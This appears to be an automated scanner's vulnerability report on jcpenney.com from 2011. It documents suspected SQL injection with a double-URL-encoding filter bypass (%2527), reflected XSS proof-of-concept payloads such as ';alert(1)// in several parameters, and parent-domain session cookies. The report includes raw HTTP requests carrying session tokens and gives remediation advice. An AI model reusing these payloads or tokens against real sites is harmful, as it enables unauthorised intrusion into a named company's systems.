SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /jcp%2527/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&DateShopperIdAssigned=02%2F25%2F2011&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 1
HTTP/1.1 404 Not Found ntCoent-Length: 1635 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 04:55:35 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:35 GMT Connection: close Content-Length: 1635
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>The page cannot be found</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; cha ...[SNIP]... <h2>HTTP Error 404 - File or directory not found.<br> ...[SNIP]...
Request 2
GET /jcp%2527%2527/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&DateShopperIdAssigned=02%2F25%2F2011&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 2
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 04:55:35 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /jcp%2527/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 1
HTTP/1.1 404 Not Found ntCoent-Length: 103 Content-Type: text/html Server: Microsoft-IIS/6.0 nnCoection: close Expires: Sat, 26 Feb 2011 04:55:23 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:23 GMT Connection: close Vary: Accept-Encoding Content-Length: 103
<html><head><title>Error</title></head><body>The system cannot find the file specified. </body></html>
Request 2
GET /jcp%2527%2527/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 2
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sat, 26 Feb 2011 04:55:23 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:23 GMT Connection: close Vary: Accept-Encoding Connection: Transfer-Encoding Content-Length: 37
The grptyp parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the grptyp parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: /jcp/UserError.aspx?exception=000 Pragma: no-cache Content-Type: text/html Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:39 GMT Date: Sat, 26 Feb 2011 04:58:39 GMT Connection: close Connection: Transfer-Encoding Content-Length: 158
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fjcp%2fUserError.aspx%3fexception%3d000">here</a>.</h2> </body></html>
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Length: 0 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:40 GMT Date: Sat, 26 Feb 2011 04:58:40 GMT Connection: close
The itemid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the itemid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: /jcp/UserError.aspx?exception=000 Pragma: no-cache Content-Type: text/html Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:42 GMT Date: Sat, 26 Feb 2011 04:58:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 158
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fjcp%2fUserError.aspx%3fexception%3d000">here</a>.</h2> </body></html>
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Length: 0 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:44 GMT Date: Sat, 26 Feb 2011 04:58:44 GMT Connection: close
2. Cross-site scripting (reflected)previousnext There are 3 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the function request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ab880%3balert(1)//76fd0243f43 was submitted in the function parameter. This input was echoed as ab880;alert(1)//76fd0243f43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jcp/getjcpheaderc.aspx?function=getmenuitemsab880%3balert(1)//76fd0243f43&ver=20110225&fx=3 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 16:54:54 GMT Content-Type: text/html; charset=utf-8 ntCoent-Length: 56 Date: Sat, 26 Feb 2011 04:54:54 GMT Connection: close Vary: Accept-Encoding Content-Length: 56
Error function : getmenuitemsab880;alert(1)//76fd0243f43
The value of the CmCatId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a2ac'%3balert(1)//283a8961974 was submitted in the CmCatId parameter. This input was echoed as 7a2ac';alert(1)//283a8961974 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jcp/X6E.aspx?GrpTyp=ENS&ItemID=1a6ddbd&deptid=70750&dep=BEDDING&catid=72384&pcat=BEDDING&cat=Sale&NOffset=0&CatSel=4294953363%7ccomforters+%2b+bedspreads&pcatid=70750&Ne=4294957900+5+877+1014+1031+1007+6+8+904+18+833&N=4294953363&SO=0&cattyp=SAL&Nao=0&PSO=0&CmCatId=homepage|723847a2ac'%3balert(1)//283a8961974 HTTP/1.1 Host: www5.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/XGN.aspx?n=4294953363&catsel=4294953363--comforters+++bedspreads&deptid=70750&pcatid=70750&catid=72384&cattyp=SAL&dep=BEDDING&pcat=BEDDING&cat=Sale&refpagename=Default%252Easpx&refdeptid=&refcatid=&cmAMS_T=T1&cmAMS_C=C3&CmCatId=homepage Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 17:11:05 GMT Content-Type: text/html; charset=utf-8 ntCoent-Length: 255179 Vary: Accept-Encoding Date: Sat, 26 Feb 2011 05:11:06 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Content-Length: 255179
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>JCPenney : 400TC WrinkleGuard Bedding Collection</title> <meta content="Microsoft Visual Studio .NET 7.1" ...[SNIP]... 0B181A7FD6BCDF0818AD551CB2274291EC1105705'); R3_COMMON.addPlacementType('ensemble_page.content1'); R3_COMMON.addClickthruParams(0, escape('cmOrigId=1a6ddbd&cmTypeFlag=RichRel&cmCatID=homepage|723847a2ac';alert(1)//283a8961974')); R3_COMMON.setClickthruServer('http://www5.jcpenney.com/jcp/'); var R3_ENSEMBLE = new r3_ensemble(); R3_ENSEMBLE.setId('1a6ddbd'); R3_ENSEMBLE.setRecommendable('True'); R3_ENSEMBLE.addCat ...[SNIP]...
The value of the function request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 79965%3balert(1)//e336fdf9c7 was submitted in the function parameter. This input was echoed as 79965;alert(1)//e336fdf9c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 16:57:35 GMT Content-Type: text/html; charset=utf-8 Cteonnt-Length: 55 Date: Sat, 26 Feb 2011 04:57:35 GMT Connection: close Vary: Accept-Encoding Content-Length: 55
Error function : getmenuitems79965;alert(1)//e336fdf9c7
3. Cookie scoped to parent domainpreviousnext There are 7 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jcp/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Content-Type: text/html; charset=utf-8 ntCoent-Length: 2212 Expires: Sat, 26 Feb 2011 04:54:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:54:53 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPSession=ShopperID=6c8c5cc71f94b44698d39d6a709a88d94xMnVNoVza3oxMnVNoVza3W200B4C6EEDAC69FA47D03F0AF88E45A1773E1105704&InitialShopperId=c8c5cc71f94b44698d39d6a709a88d94&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Set-Cookie: IsFirstTime=Y; domain=.jcpenney.com; path=/jcp Content-Length: 2212
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE>JCPenney</TITLE><SCRIPT LANGUAGE=Javascript SRC=Javascript/AmsScript.js></SCRIPT><SCRIPT LANGUAGE=VBScript SRC=VBScript ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Content-Type: text/html; charset=utf-8 ntCoent-Length: 45477 Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 05:00:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 05:00:37 GMT Connection: close Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Content-Length: 45477
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!--CEE P1 - Add Language markup for Web Accessibility --> <HTML lang="en"> <HEAD> <title>AddToBagPrompt</title> <meta cont ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: https://shop5.jcpenney.com/jcp/Login.aspx?Express=No&RetURL=Bag.aspx&cmResetCat=true&CmCatId=bag Content-Type: text/html; charset=utf-8 Content-Length: 225 Expires: Sat, 26 Feb 2011 05:01:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 05:01:18 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://shop5.jcpenney.com/jcp/Login.aspx?Express=No&RetURL=Bag.aspx&cmResetCat=true&CmCatId=bag">here</a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jcp/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response
